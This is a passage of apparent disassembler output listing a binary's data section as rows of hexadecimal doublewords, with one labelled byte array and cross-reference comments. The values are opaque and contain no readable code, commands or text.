dd 6A09BD0Fh, 0BBEDC033h, 0D21441h, 67759082h, 0A33E8A5Ah
dd 36CEEC00h, 0E4C026DEh, 59D50739h, 22C8B51Ah, 65E07D99h
dd 0E7487CE0h, 9CEE2856h, 2B4C1E07h, 0D740767Eh, 7445504h
dd 20E8C7CFh, 723D217Fh, 68E8201Fh, 32DE9200h, 36A3E3EDh
dd 158D009Eh, 6FCB427Dh, 0A2005378h, 2C0A199Dh, 97F4DBC7h
dd 2BCA4900h, 140E6FE2h, 47D56167h, 5250AAEEh, 50C78Bh
dd 2C37916Eh, 0C684C5DDh, 73AB900h, 0C1142B85h, 39DE0079h
dd 0D272E813h, 3100E1BCh, 0FB0C2D4Ch, 1E09952h, 1F360F9h
dd 200A4B3Bh, 7C029E90h, 0FB13A304h, 1A096067h, 7090B9h
dd 3633A919h, 7808A6B5h, 0A45C0426h, 0C5F16100h, 1D183E60h
dd 403293FDh, 2B22D7EBh, 831F0884h, 14C2D8CFh, 688F48B6h
dd 47A6D0Ch, 0B8BE4C5Bh, 41E08057h, 0C0742A24h, 2F7B7203h
dd 88D0C3B2h, 903C648Fh, 91891271h, 0BE13006Bh, 0A773BDD9h
dd 71DA2E02h, 4048FDBFh, 5D14548h, 0F209EEA9h, 901D8474h
dd 574E41FCh, 23042100h, 0AD22F627h, 9E3A0014h, 0AB509C80h
dd 0A60070DFh, 98E44CC3h, 0C0C4608h, 0E56D3349h, 2B008710h
dd 0CD64A2E6h, 3F056B8h, 0DF4D1A72h, 0A04885EBh, 714400CCh
dd 0E9C38842h, 6F301F7h, 9161C958h, 8BA089A8h, 0C4EC8787h
dd 0BB673210h, 5BAD00FDh, 5758F52Fh, 7E005453h, 624044AAh
dd 0FB2F297h, 0C837065h, 7B9C7BFDh, 19CB4C16h, 87005DD8h
dd 4756C6D6h, 0B221F926h, 0ED621664h, 0EA3600ADh, 8DFAFE7Fh
dd 3B189C60h, 3FD9CFh, 923D4BF1h, 4A37D847h, 96E0B573h
dd 90674800h, 7B35D906h, 31F40015h, 0F9149310h, 70302C5Dh
dd 2D7EC874h, 0DE3700DCh, 0C2D23F4Eh, 0E4FF18FAh, 9800910Eh
dd 876CB210h, 1ED5788Bh, 49570A39h, 378062A7h, 7F1A5B4Eh
dd 45B1F90Bh, 69B10F2Eh, 1AC0772h, 0D06D6C40h, 512200C7h
dd 76ABA97Dh, 1E7C1CEFh, 58C8D100h, 31D2D56Ah, 445D487Ah
dd 28C97900h, 78C44243h, 965Dh, 0EB153F18h, 0F356C09h
dd 327B5339h, 0DD949E83h, 31893801h, 0F2DCFE9Fh, 0FBCD6D0h
dd 0B87D6050h, 464FDF20h, 54E60E5Ah, 0A0DEA630h, 0E07DD29Fh
dd 4D9A00E5h, 1A8E6BE9h, 3C003E3Bh, 0D652BE0Fh, 0E44B80Dh
dd 0B5F43DD9h, 3EA9D820h, 9E0053E3h, 0F0E329Ch, 7357FAEh
dd 5D46F69Bh, 95DCF0CDh, 1C0A3BA6h, 0B463A5EFh, 7E9B207h
dd 830A9260h, 0B605000Eh, 0CA6CAF64h, 430F54BDh, 20F1986Eh
dd 2E750234h, 12DE0033h, 0BA555CA5h, 2B00D680h, 5A61E425h
dd 8A84F227h, 7E5E5B82h, 0A88098E5h, 0C6F176AFh, 80AC00D6h
dd 1A87CE1Eh, 0E4B83DE3h, 3F79A700h, 53542265h, 4FF30F12h
dd 6F80C861h, 0D5ADF697h, 349FDC00h, 0BEC749AAh, 358B00B3h
dd 661028DEh, 0E000573Bh, 0E96DA21Ah, 66FD209h, 0A6CC4034h
dd 8D0210EDh, 0C1B229ABh, 4BA040C2h, 0C6418862h, 715538F2h
dd 0ECE531FCh, 0EF00A682h, 286EBEEAh, 49D0CAh, 0A350EC3Dh
dd 100E71EBh, 0DC524A0Ch, 0BDFE81Fh, 0BEBC5BEFh, 21BA2800h
dd 0D30944E0h, 8017CA3Eh, 763F3748h, 16B2267Ch, 7D5D0000h
dd 0A1AD9FC4h, 241AD800h, 488B516Eh, 4CB013Ch, 0E6C2D701h
dd 0F2F02461h, 298D1C03h, 88C5D4D3h, 17EFBFh, 0E8CCAE8h
dd 1AFB7EFFh, 0A14E8200h, 65191EFDh, 81850472h, 82341B33h
dd 0DCA032E4h, 0F9D8CE88h, 0BB0770FAh, 5847EA53h, 0FD3CD5F0h
dd 0AF280EB8h, 8860E648h, 0F51EFBE7h, 17006C98h, 0E13C5935h
dd 7D81ABB0h, 0D36F00FFh, 0C76A5ACEh, 0A4B9ED3Dh, 0A757D900h
dd 2E280Eh, 0E6FD0CF1h, 88701F89h, 36772600h, 2D93254Ah
dd 0DC75000Bh, 34BC8E33h, 46F4F305h, 0C2F51907h, 0A400E655h
dd 36663h, 2C3A65D4h, 0D0919D95h, 8C008DE6h, 7555E136h
dd 5394DD7h, 0B71C07B3h, 84F00032h, 25E12322h, 3C400400h
dd 1DEE79C0h, 2644006Eh, 0B2B01696h, 0F700B871h, 0B39EFD9h
dd 0A04F05h, 4A279E5Fh, 0F49F0858h, 0A5F1BA02h, 0E04D47C2h
dd 1453D28h, 0FB78C10Bh, 0D4437D18h, 7EEF1B1h, 85F3CE0Eh
dd 53E602Eh, 4CCAD11h, 7798244Bh, 711883A8h, 0CF9A16E8h
dd 8DB4E701h, 95F412Fh, 3C7AA048h, 6D0074E6h, 0BBFCEA08h
db 8Eh
byte_520045 db 59h, 1Ch, 0FEh ; DATA XREF: ___:00437A28o
; ___:00437A40o
dd 4981AE5Ah, 6CD8C370h, 7F31C460h, 58457382h, 87031C0Eh
dd 7C8BAF71h, 3D7D110Bh, 110C8D58h, 6641FCh, 3FDC8E4Dh
dd 1361CA5Dh, 5C67F91Eh, 0B7018Bh, 525F17D0h, 74864876h
dd 39E64C50h, 0EF5DE19h, 24BCF47h, 0A0906549h, 0D80EFC7Ah
dd 90F3BDDh, 6380042h, 38F431Dh, 49365D6Ah, 0C821BA67h
dd 0E9A4002Ch, 0C8F47C7Ah, 6E25EB01h, 0C931A3A9h, 1A04F30h
dd 59AF030Eh, 21DA79B0h, 0E0742050h, 0DF602D60h, 9887F13Ah
dd 5DAD01DBh, 6F5A41ECh, 9C7FE0A2h, 0A5D3AA00h, 1E934426h
dd 0C2DA13EAh, 542080D0h, 361F7877h, 0C5875F19h, 0ED0B8F3h
dd 0BADACh, 0FDDE8E23h, 1583F26Fh, 8049463Dh, 0A81C2A7Ch
dd 3A533D6Bh, 1F73D402h, 82B75E54h, 0CC4E36FAh, 0E348AF60h
dd 0F6E638h, 42C4D58Bh, 586A7AE0h, 0A23ABCDCh, 2C6D7080h
dd 153DC18Fh, 2660B0A0h, 645459h, 6247BBF7h, 2E59092h
dd 7D0837BCh, 716058B3h, 3100110Ah, 0A6EFA31Ch, 89018Bh
dd 33D82380h, 5C554CE2h, 674D2A00h, 0D214EB20h, 0C0650028h
dd 89CDFB94h, 1D00696Fh, 63C1BE34h, 7C2A2FAh, 0DA0595A7h
dd 191150BCh, 8E580874h, 1F870FA4h, 3BBB83C9h, 0C7DCE0B2h
dd 0A8D25227h, 1FFE0D28h, 0C092F877h, 6F037D79h, 0D9733830h
dd 545BF701h, 0C0FE8789h, 186957F0h, 98537AABh, 300417Ch
dd 447DF652h, 90AF1EE7h, 7A3F009Fh, 6724CD84h, 4E000DE9h
dd 6BFF9741h, 4AB634h, 0F7AB59DBh, 0F95FF315h, 0A4295E05h
dd 23C382F4h, 570690C8h, 0DE40002Eh, 0DDE31C78h, 1800FDAEh
dd 48CCB5FBh, 2B073F9h, 969ECFF2h, 8C83492h, 0F301D793h
dd 0A6EE77C1h, 7AF8DBF6h, 95C6009Dh, 47A10EE7h, 120030DEh
dd 0FD27D15Ch, 5C4AC441h, 7D03E0F8h, 620C69E9h, 3060FD8h
dd 71287779h, 0B5033091h, 49FB5648h, 0D98CB384h, 0C060559Fh
dd 3CB973D3h, 849A3B2h, 3364D10Ch, 0C0CB139h, 8BBF4B6h
dd 2855E8FFh, 28104ED1h, 31C7DB3h, 0CC94A7D3h, 0E7A0BFB9h
dd 21F62F0Bh, 1D55A600h, 327AFE9Eh, 0D7BE027Bh, 8F15E194h
dd 42E35200h, 0BB50C029h, 330BB614h, 59C156E8h, 10C2E3E8h
dd 398821B0h, 4B026871h, 0D1DA945Eh, 0BD48864Fh, 0BBF80A20h
dd 3D305540h, 0D374070Fh, 3459A018h, 4C7B783Eh, 322D0218h
dd 0C060CAE0h, 3E1B9B05h, 1C80170Ah, 6FEF8C54h, 65001171h
dd 7464DBD5h, 1BF844Eh, 0C74FC836h, 0DCCD6F0Bh, 0EC000247h
dd 0A8B472DDh, 175481D0h, 0FA91438h, 1B2027D3h, 6D45793Ah
dd 119811F4h, 7C9D3E00h, 0CC5CD7FCh, 0F8974D8h, 0AB4E1F3h
dd 5A80ED4Fh, 10DDE676h, 0CB196C00h, 8546E218h, 0F4820030h
dd 75684ADAh, 2E007251h, 0A3DFA9F7h, 1C308C65h, 3547A18h
dd 0E8832C2Ah, 7840FF90h, 0DCF58A07h, 0A3C0A674h, 134B607h
dd 0CA2E865Fh, 7450FC52h, 0E7E048D8h, 0E96C4C0Bh, 0E1CB83EDh
dd 24083095h, 4C7F2321h, 3F49E215h, 7AC500D4h, 0A9F0890Dh
dd 86CE00DEh, 0BCE936E3h, 77002972h, 0B99E0454h, 0C2E8037h
dd 38B6D4B7h, 0DC504B18h, 4872E5D4h, 1DC5A52h, 0ECA367ABh
dd 820DB02h, 873660Ah, 0CE0721BFh, 0E10DA35Fh, 8A24A520h
dd 0A7A918AFh, 858E6181h, 0CCA14C83h, 9DE9307Eh, 62246F20h
dd 28A23C40h, 0B00CE1AFh, 18206C7Bh, 3F8CE790h, 291A369h
dd 818188CBh, 0E8A361C0h, 0A880C6EDh, 3DC99E88h, 11EBF0C0h
dd 71054364h, 67FF1F6Dh, 963E8095h, 0C3754FDEh, 0A259B500h
dd 0FC98124Bh, 90587865h, 0F54E38F5h, 8B32C680h, 0CE1E9405h
dd 3A70E57Eh, 0AEF70100h, 0A47506A9h, 25150EDFh, 0A2004FD2h
dd 0E83E2012h, 6ADD1700h, 9410902Ch, 596F0071h, 46A1508Fh
dd 0F800659Bh, 4B786BA2h, 26ACBC8h, 0B1C70119h, 3961472Ch
dd 0BF0720B8h, 0C3735824h, 3D002F17h, 0B2D69BC8h, 1A9F009Ah
dd 1793DE6Fh, 2A00BA3Dh, 0D0521918h, 3EC860h, 256DC4E1h
dd 7557D2EAh, 1D91DF18h, 0DCC048h, 3B137780h, 4C32B143h
dd 0F86CA51Dh, 15C630C4h, 989C7018h, 1AC7391Eh, 6105FE1Fh
dd 2980AF3Dh, 79BD3EDh, 0CC0D68DAh, 627A7070h, 7603A556h
dd 0DF091314h, 20712C92h, 9DCC0E45h, 0DAF52CC0h, 4400DBA9h
dd 2D5906DFh, 0D33FF9h, 9C5FD6E8h, 0FF025BAh, 9D8ECE00h
dd 0F329EABBh, 1C47003Ch, 910E6F88h, 9500CD17h, 0FFA39DFBh
dd 7128BCCCh, 40940C42h, 2FB08DE7h, 29892400h, 261E55ABh
dd 0CE4F0034h, 0E1CAC923h, 100068DEh, 144D4344h, 0AA3D64h
dd 0B6411A77h, 0D9D35342h, 0B58E3603h, 0CD729BD0h, 41198801h
dd 0D98A94ACh, 80940273h, 2DC51015h, 5400B940h, 90E90E0Ah
dd 51E673h, 0C61219F6h, 808DCC44h, 0C0EB6050h, 28135AF0h
dd 3500EE8Ch, 15218AE5h, 329D00BCh, 0A1C1D681h, 0AD0E2E5Ah
dd 60694A3Eh, 0E265291Ch, 326F00BEh, 97137AC0h, 2803A7A3h
dd 0F55A0F5h, 0ED00C752h, 17DE998Bh, 5F9C16h, 7447C488h
dd 57663D19h, 121B508h, 4393494Ah, 0DC054095h, 0D200E6E5h
dd 54A4BB78h, 1FA35B01h, 7EF48FDEh, 189B101Bh, 7040A860h
dd 14ACCB32h, 409F6580h, 0FE250323h, 95C41FCAh, 0A3224075h
dd 93484900h, 77436DCBh, 0B73B0326h, 64393E58h, 3961AE8h
dd 58C13FF0h, 0B065E0ADh, 0DB336880h, 0E6254DB8h, 0F02A538h
dd 0C085ED1Ch, 0AE182109h, 0B5013C7Ah, 505BF587h, 0CA01CE06h
dd 4112C557h, 0C4E2D4DCh, 9700B4B2h, 1CC2E5F8h, 0D104FCh
dd 800CC41Bh, 41E72272h, 0BB3F997Fh, 0B8F000ADh, 0CBB35F46h
dd 0A1E20003h, 0C96C357Ah, 2C0059DCh, 949CB0E9h, 72D42F9Bh
dd 301200A3h, 10C8B6C5h, 6E0033CAh, 0DAE2F250h, 24A935h
dd 0C9A40C8Dh, 3EF7BB7Eh, 0BCCBC003h, 0C0C18371h, 64BDDEh
dd 0FAF2A8FFh, 3E5F3CC3h, 0DA07E9ECh, 7DCEB71Fh, 716EF530h
dd 9F8C09C5h, 0BF8496B9h, 0C182EF49h, 0C80DC37Ch, 832DDAh
dd 0A316912Bh, 50459C68h, 0C6B7C200h, 0BB6CE355h, 0BF8500A2h
dd 71888696h, 140197C3h, 0BED3A95Fh, 3CF473DFh, 0CA3B033Ah
dd 760EFDC1h, 0ACF3FEA8h, 1F2048h, 8C58497h, 3FF789EAh
dd 0A380100Ch, 0A2807F1Ah, 1F011DFFh, 0D591ECC7h, 21D732C4h
dd 0A6087C29h, 820B90A0h, 4889301h, 10CC2248h, 7788F35Fh
dd 8548990h, 63AF449Fh, 925028A0h, 88BAA088h, 2E19D34h
dd 8A148157h, 8C028794h, 22E26111h, 0CC21F29Bh, 18018B1Bh
dd 552000B9h, 0F3774B2h, 31449704h, 383F8A00h, 0AB00C053h
dd 0A9C2A533h, 1DE7B43Dh, 5789C8h, 0CD4A83CEh, 0AB006693h
dd 0A9977CE4h, 0D8650Fh, 2679A075h, 0A25EF635h, 0EFC9D900h
dd 0B171B6DBh, 0F1EE00E8h, 1CACEB49h, 62056303h, 399D3D51h
dd 1A8733C0h, 0ED820093h, 8F0515B8h, 1F031903h, 0CA5378E6h
dd 220EA8C9h, 58060092h, 0F67C2691h, 0A060CD0Fh, 89F8B311h
dd 40E70146h, 0F0F1B2E3h, 0E8FCC9Ch, 80F3033Dh, 85B9A03Ch
dd 0EC2339Dh, 0EB7F6B8Bh, 6366940h, 0A00EC3Eh, 0C1D9AD5h
dd 0D8B7DDh, 0A8B9F48Bh, 3DA3277Eh, 143EC5FCh, 98A5187Ch
dd 0FE9CE48h, 96A98CA1h, 925AA043h, 0F2C69BB8h, 47D81F00h
dd 938AC898h, 0E1390068h, 7472CC19h, 2C0065BDh, 0DA43A7D5h
dd 4C095Bh, 7D69AC81h, 47DCC707h, 0D4222100h, 1B2576DFh
dd 18786046h, 1AF7F7Bh, 10C03575h, 42F5199Fh, 0AEC80027h
dd 0FEFD7C3Eh, 7900876Eh, 1C34DAABh, 32261Fh, 0B9BBC239h
dd 658433ECh, 2B407A60h
dd 40D7A794h, 210E8B93h, 384E759h, 7B79B82Ah, 616F0159h
dd 0C32D697Dh, 0C69840A8h, 410080C7h, 57A528E1h, 7F96140Dh
dd 0A78E00B8h, 0C038BFB4h, 6B008CDBh, 79C7ACB0h, 1F6ADF54h
dd 0C0853643h, 571502EEh, 2F009CA3h, 0B7507717h, 5830CA0Ch
dd 13025CDh, 5EF7009h, 0FDE4B301h, 8CCBCC72h, 3ADCC040h
dd 540D002Eh, 550A2330h, 0D500C631h, 0CF2C8BACh, 1685B6h
dd 0B3CA8C5h, 43840C64h, 0DA066200h, 0CF054F58h, 9A480167h
dd 5DD94A27h, 616424F4h, 0B8DC1107h, 2970D663h, 0E18F17h
dd 134A9ED8h, 4007A0F1h, 2E394E03h, 0F09B7B0Ch, 0A80603h
dd 25019610h, 36F04360h, 0F4BCA0A0h, 0DE9F300Eh, 0BFABA064h
dd 86515Eh, 8BEA95D2h, 1724EDD4h, 0C5BBDB00h, 562AC6C2h
dd 70F6009Ah, 0BBEF23Ch, 95008AA8h, 0DDAECAD6h, 8E1154h
dd 0C86720F4h, 0FC4CE2B7h, 294D4100h, 0A6470BCFh, 99DA0095h
dd 0AFF5D7CBh, 7D003FF3h, 0F8458EC0h, 58A80190h, 6300EB96h
dd 0A65A3423h, 2F0027D7h, 5CE0D321h, 3B9AE20Ah, 11A81387h
dd 0F39700B8h, 36B3071h, 60025A6h, 0E3823D4Ch, 7FEF44h
dd 7AB67283h, 1EFBDE84h, 4DAE20C0h, 0FA92A9Fh, 0D727D398h
dd 50E25727h, 1AEBC489h, 0D7E2500h, 15412669h, 0C7CA1462h
dd 9600A084h, 9AB1F7EBh, 2B00EAD2h, 88537750h, 7ADA07h
dd 7F3529E6h, 0AAAD7952h, 0CD0F11FEh, 1D15FD5Fh, 30270880h
dd 73DBE1Dh, 0AE7F068Ah, 1E62D052h, 60E1FBB9h, 22000408h
dd 1C57BF72h, 80C24Fh, 941B5621h, 9A19400Bh, 6B26D100h
dd 885736A7h, 0AFD40039h, 0ADD23B86h, 0D1183A81h, 871084A8h
dd 0A7F80F63h, 805FAFEDh, 0B155606Ah, 0DF011ADDh, 3B7E31C2h
dd 82D03EC0h, 4E948CBh, 2A91F16h, 0BABFF64Ch, 33F2C861h
dd 9F90002Ch, 8022E0CBh, 0A0D35081h, 18273072h, 1B4CAA8h
dd 6620E4FBh, 9228A11Eh, 0BABDAD41h, 0F7CC218Dh, 5822003Bh
dd 0C12EAEB3h, 0BEA05FD9h, 590072D5h, 0C0EF8591h, 7ECE9DF9h
dd 58D800DCh, 72F56633h, 0FB003E38h, 465E8A6Eh, 31E2697h
dd 216C14E3h, 64F8EA54h, 6D2EACDEh, 3F2071h, 1732ED08h
dd 1F89647h, 0D8F18D29h, 2A3F95B5h, 33A94AD0h, 9B3E00D3h
dd 0A4E98AF4h, 640328CEh, 6760574h, 72AFB06Bh, 3F8100D8h
dd 20999639h, 8C013B51h, 0DA678861h, 0C8F6B117h, 3C5A60h
dd 0FEFFF915h, 0C7348499h, 4598947Ah, 0A345CC01h, 0FFE2BFDCh
dd 1A6CF840h, 7F87007Ah, 48CA7733h, 0C31D7E23h, 0C180254Bh
dd 134E0981h, 0DE6E0180h, 570C2131h, 85303432h, 5009220Ch
dd 0A8F1088h, 0EC3FE06Bh, 127900F8h, 7C307068h, 8481D700h
dd 0DCA548C4h, 82FB02CCh, 7DDD08EEh, 1A7BC60h, 15783000h
dd 1C491E11h, 2C72CCh, 0DACE7DE6h, 58EB57D4h, 60549C00h
dd 5BD9D802h, 20D6070Bh, 0D08081EEh, 4EA04235h, 55E1A41Ch
dd 0DAE6761Eh, 10227D01h, 0B5F427B9h, 51D4EDB2h, 0EA720026h
dd 95E970C4h, 830E06C5h, 922AFFh, 58E3FD7Ah, 0EE570E37h
dd 4D80BD49h, 86ACEDAh, 609C3550h, 0FE6B4A09h, 0AFC20A7h
dd 6E7995h, 89ED7B6Ch, 727C54B2h, 70001CE2h, 0B15E8E13h
dd 5C329Ch, 0E21D3E09h, 85EF5A8Ah, 0A90070ECh, 0A853EC93h
dd 9F66CDh, 69F5D4D2h, 0E80FE781h, 2690841Fh, 410E6EC0h
dd 0FF7458Dh, 0F0AE10B9h, 0B6AFB162h, 0FA7ABA80h, 0C500F3EBh
dd 9C0DA156h, 486BACBFh, 0B239D42Eh, 16CD4204h, 4860C393h
dd 300EB5A1h, 99001114h, 473BAA7Bh, 9102B7h, 0B6593E0Ah
dd 9E9B43EFh, 0D5059D00h, 0B94A80CDh, 6A4F04D4h, 8051D620h
dd 0BA409857h, 66E6FA00h, 0FB817872h, 0C30900F9h, 0EDB06DF7h
dd 6A7D9454h, 13498900h, 90AF6372h, 1557EBCh, 4DE4EC43h
dd 0DFFFB580h, 4E3A45D0h, 3B46BD1Fh, 75D8A00h, 7B69A8Ch
dd 0EE527601h, 29B860DEh, 0A8009CBAh, 917D3EA3h, 917E541h
dd 80DF030Ch, 9D0D480h, 0C8E887A2h, 0A155471Eh, 284FBA00h
dd 4A39B003h, 2C000022h, 0B9DE9664h, 0DC970C01h, 0E1BDBAB3h
dd 3AD456E8h, 0FF0287CCh, 0A3244874h, 0A6E58CC0h, 63B9AE00h
dd 86EDB34Ah, 60585C03h, 3C059603h, 24A89F52h, 9D3EAFAAh
dd 7C7D0007h, 0E6437F37h, 0E4D90014h, 50200262h, 0E900B356h
dd 53DA7C57h, 7406FDh, 0C31DCA94h, 98214E28h, 63A8B41Eh
dd 47E1A1C0h, 0F73C901h, 8116EE7Eh, 5141C0E0h, 250780DAh
dd 351891B5h, 36D48B0h, 0D8762C26h, 8A10180Ah, 161F926Eh
dd 3603D97Dh, 0F02BAABFh, 12B5ECD1h, 4916994h, 0C3ACE410h
dd 22003BF1h, 0AD962E5Eh, 1FBC8B29h, 8F7F25A9h, 47003F73h
dd 0D5AB1E77h, 9F1A6600h, 0AC6162D9h, 0F992E6D8h, 7B0F6CE0h
dd 0D1B016Ah, 30A37642h, 0EC36E5h, 61C02359h, 98BAC854h
dd 0B63A00C0h, 0ED8E9756h, 673ED249h, 0C6910081h, 9045A97Bh
dd 5BA8C0E9h, 3A1B92CDh, 12495F00h, 3FBF86F1h, 320558E1h
dd 0AC50C938h, 0E9800027h, 89EAECCDh, 6100DFD2h, 50579170h
dd 5A96DEh, 5DB2F1B0h, 0D93E71BCh, 937C9209h, 0C2BD00AEh
dd 791AE357h, 3F3008Dh, 6FD3B13Bh, 4600B30Eh, 7EFB1B07h
dd 9AF696h, 420A89E3h, 0C37339C1h, 4A0D8D00h, 5D9C16A8h
dd 762703A1h, 0DCBFC40Ah, 0FCAD5CB8h, 0A0E13Ch, 884966Bh
dd 4CDB1957h, 0CE007843h, 689D4F4Ch, 1450105Fh, 120E05F0h
dd 9F5C5B1Fh, 447F5CFh, 0A2C08746h, 3FCFE49h, 6D74464h
dd 0A3A974DBh, 0F5CC30EAh, 7C2E21h, 0B81CE578h, 8F00013Ah
dd 0F0B0954Dh, 2EF4B9D3h, 0E8C52BDh, 0A00041E9h, 999A9CC0h
dd 0D48FC32Ch, 0ECE1F900h, 291FBFDh, 6F8798FAh, 5DC0A274h
dd 8C981180h, 3C781703h, 1F683D10h, 561282D8h, 30DC0067h
dd 0FE9812Dh, 0B7D050F1h, 0A2012A47h, 0C69C5044h, 88669190h
dd 11F42300h, 2647786Dh, 0E2F65900h, 8427A0BCh, 376A3EFCh
dd 74757F80h, 0C47E6EC8h, 925A042Eh, 0A1B82300h, 484E063h
dd 0F9EFF1E8h, 5594C0F8h, 9473BD79h, 0E1065400h, 2E5B2912h
dd 6F1F3D25h, 841E4A04h, 0C5DD809Dh, 7B268563h, 720E70CCh
dd 4CECC0BDh, 60E87FC1h, 6F840844h, 1C001318h, 241F1A79h
dd 6A1271h, 225F440Bh, 905DDDD0h, 4C23103Bh, 25EB0FEAh
dd 9400D29Eh, 0D33745D8h, 0A6F40064h, 4863E1FAh, 0E33BF356h
dd 0B0908F85h, 4408F8C8h, 989F1310h, 0C299000Fh, 67919A35h
dd 155032F6h, 5A09DCF1h, 838D8AA4h, 0C860DF1Ah, 0A0B8658Ch
dd 48B063DCh, 7405A0EBh, 0C0F69DB3h, 398B90C0h, 0A0BB7704h
dd 0A68717D7h, 303BB8A0h, 346400AEh, 1B97AFA3h, 0C0DCD69Ah
dd 0DD08D2D8h, 13C600E3h, 6BF4163Ch, 0E98249Ah, 92CA051Fh
dd 5422B200h, 26E0892Fh, 3045CF8h, 0D6AA568Eh, 217CA288h
dd 9E4E9D2Ch, 0C1E5B60Fh, 4307C3A3h, 0F643120h, 15D2440Ch
dd 0F7F1EEA0h, 410AE2BCh, 0D8EFBFF3h, 4A5EC901h, 0F5001A42h
dd 0B00CD04h, 40D403DDh, 1269ADAh, 2914E543h, 806CE167h
dd 2037DD08h, 160113FAh, 0FB8622h, 6F6AF184h, 6838CA87h
dd 0A9078664h, 3CE8D1C8h, 60288DB3h, 202B4CD8h, 38E7007Eh
dd 0E16C355Ah, 0BB1E6F1Ch, 120042B9h, 46A34B07h, 0A000B0B5h
dd 366F2FEh, 35239E82h, 0D2D8059Bh, 14001152h, 9D16676Fh
dd 3C8B677h, 8DE7A55Eh, 3DA8BCAFh, 0B200FD24h, 70413F75h
dd 5D2FA1h, 0DE178DE8h, 3C2571FFh, 0B89548h, 5098D214h
dd 9D0EC272h, 844C3958h
dd 6C221240h, 0D09DC400h, 90EAB4A9h, 44B3F400h, 85007A9Bh
dd 40C51D2Fh, 2FFDCA9h, 0D4F82573h, 0DC407562h, 0AD04DA5Eh
dd 24AB1A18h, 0FD648A00h, 6D137310h, 84421D90h, 0E07FF51Bh
dd 3D1642ACh, 0C2802753h, 48F24A73h, 914AF0E9h, 31CF8841h
dd 17C04408h, 0A59D26D2h, 40231E38h, 6A1E52F9h, 7E05E4AFh
dd 837338D9h, 65C4EC80h, 0D7A34CF5h, 5AA0EB00h, 0D48BAEBDh
dd 55B4B300h, 3BBE0D5Eh, 0B2640ED0h, 0C01FB5E2h, 0C1FE8FD8h
dd 3008ADFh, 4A83E0C0h, 984470F3h, 267A002Ch, 0A25A9AE9h
dd 271D31D9h, 2A1C8BDEh, 888BF6DDh, 33E580B6h, 18FF12C8h
dd 90391AFDh, 7B3AA997h, 0CBB0501Fh, 0BB4AFA16h, 9EB16400h
dd 5DB412F8h, 103AACDDh, 5250B983h, 0B5E08FCBh, 0F8037063h
dd 2D360811h, 40B6F83Eh, 0FB7702ABh, 0BA675CFh, 0F404DEE0h
dd 72FC3F03h, 0B0235A7Bh, 0C407D2Eh, 13DDFDB8h, 9100D029h
dd 5E2AFA94h, 167BC07Ch, 3BAE575h, 0ACEC223Ch, 0A0904AC8h
dd 5FD95400h, 0F5861093h, 0D7152C23h, 6C50748h, 6A64F7h
dd 134E0D80h, 2C28908Ch, 0FA467h, 0ACB7F75Fh, 2D01AD61h
dd 0A9363AAh, 0D0DD98ABh, 273F3AD0h, 3C87A9BEh, 2E4EA0BCh
dd 3F980693h, 448E858h, 71B4479Dh, 0D1FF6F47h, 0CC5698C0h
dd 92E2789Eh, 0F4E68412h, 1A47005h, 0B9A6B040h, 1CDF5F59h
dd 0D6124E83h, 1B6881A5h, 2C77E8h, 62953F98h, 1F0C2625h
dd 0CE818BEDh, 804FFA70h, 908F4C07h, 0C80EE637h, 8450DC00h
dd 0C0C37572h, 9AAB2ABAh, 556A18F0h, 0CA960CFh, 4CD458h
dd 3CC88AB3h, 2501B029h, 58204088h, 0B70F0E37h, 0C8167B00h
dd 0E004D2AEh, 0BF700081h, 63B82705h, 0D7009CC7h, 0EF0F6669h
dd 965D3CAh, 86A01F30h, 0BA516880h, 71B82288h, 69A7821Fh
dd 0AB9BA640h, 48D4D5DFh, 1200C010h, 2B0BACCEh, 13004929h
dd 0FA2FC435h, 0C31F45h, 5AB3EA0h, 6C637B76h, 436F6607h
dd 0E6904CA4h, 6E565Ch, 0DF085AC0h, 2EA3FBE5h, 2300D1FAh
dd 6AD5ED3Ch, 0DEC34Ch, 93044BABh, 0ACAD0A2Ch, 22862400h
dd 134F5680h, 2AE00076h, 363FBD6Ah, 2F003CB1h, 96E93BF7h
dd 72117Bh, 8FCA0A74h, 9DA63EE3h, 4D9BD701h, 8A0DB244h
dd 5931E8h, 194999CEh, 3DDBD506h, 9B776C70h, 701C4775h
dd 0BBC0258Dh, 0B1D121F3h, 0C9BF0242h, 695AD36Ah, 7BE45440h
dd 28AA9200h, 0E19EEF7Ch, 0F7F600EAh, 0FDE0ECF4h, 0C70F9AFAh
dd 678FF847h, 0CC83986Ch, 0CAB0D866h, 0AF990C61h, 241064C9h
dd 8595709h, 0C4540FE4h, 6D42448Dh, 0C0CEB256h, 0C8BF000h
dd 5386C74Eh, 54EC0091h, 0CFBB5205h, 2607B795h, 4937D270h
dd 6BB6B1B1h, 0E5146820h, 3813610h, 0D48F2B00h, 1368D9D7h
dd 90B60075h, 77707265h, 8700643Ch, 5363D0D3h, 1C0C8623h
dd 2B2E589h, 0E81120C2h, 0D359D8E0h, 8834A400h, 26907D6Ah
dd 37E2001Fh, 0FCD09CAEh, 0E7184E05h, 0F181976h, 0AF9500A4h
dd 0B9E1C08Eh, 0E91EA154h, 837BC16Fh, 5ED8FBA8h, 0B2C412E2h
dd 0AE8409E8h, 96A81CC8h, 4487601Dh, 0C88DAB00h, 0E0C965ACh
dd 41C63CF8h, 0B33E310Eh, 5D24C5A0h, 4C2C7389h, 7E018CF5h
dd 0B40A11EAh, 991DD8h, 74E77FE0h, 0DF838934h, 0AAB6A103h
dd 0D347570Ch, 584CB0C5h, 0E3EF00B5h, 63FCF03h, 0E00DD37Dh
dd 0C67B0D5Ah, 16E4C0h, 978B4067h, 51701991h, 2F12FF78h
dd 0CC0003BEh, 71960139h, 0E10B00D9h, 42D5FCA4h, 1903BAE7h
dd 94087E78h, 2A4C9012h, 0A8801EA0h, 0BAC3808Fh, 0A9DE3CCAh
dd 18108360h, 24765Bh, 0E988ED94h, 386A81A2h, 28927D30h
dd 0FF6002h, 2336D126h, 17BA1AB8h, 7AAFB500h, 440B3D88h
dd 0AABF0965h, 2CE060B6h, 98706D9Ch, 4AA7B90Eh, 20079620h
dd 6FB14E92h, 3760A058h, 3857003Eh, 0D4C72123h, 0FD014233h
dd 9F1B76F1h, 81D72213h, 0C6E81EA8h, 7ACC03FAh, 153AAC08h
dd 14F597A0h, 0FB8C7C13h, 0E9C39844h, 0A300D60Bh, 0D5F66F55h
dd 0A483CA00h, 0DCBCE3CFh, 0CAB802h, 0E064713Ah, 11358540h
dd 0F9F03F00h, 6EF29563h, 6F787Fh, 79E5BA05h, 5162319Ah
dd 3EF90600h, 45CD6BFFh, 7F250702h, 0B02C4D17h, 0BBF74FD5h
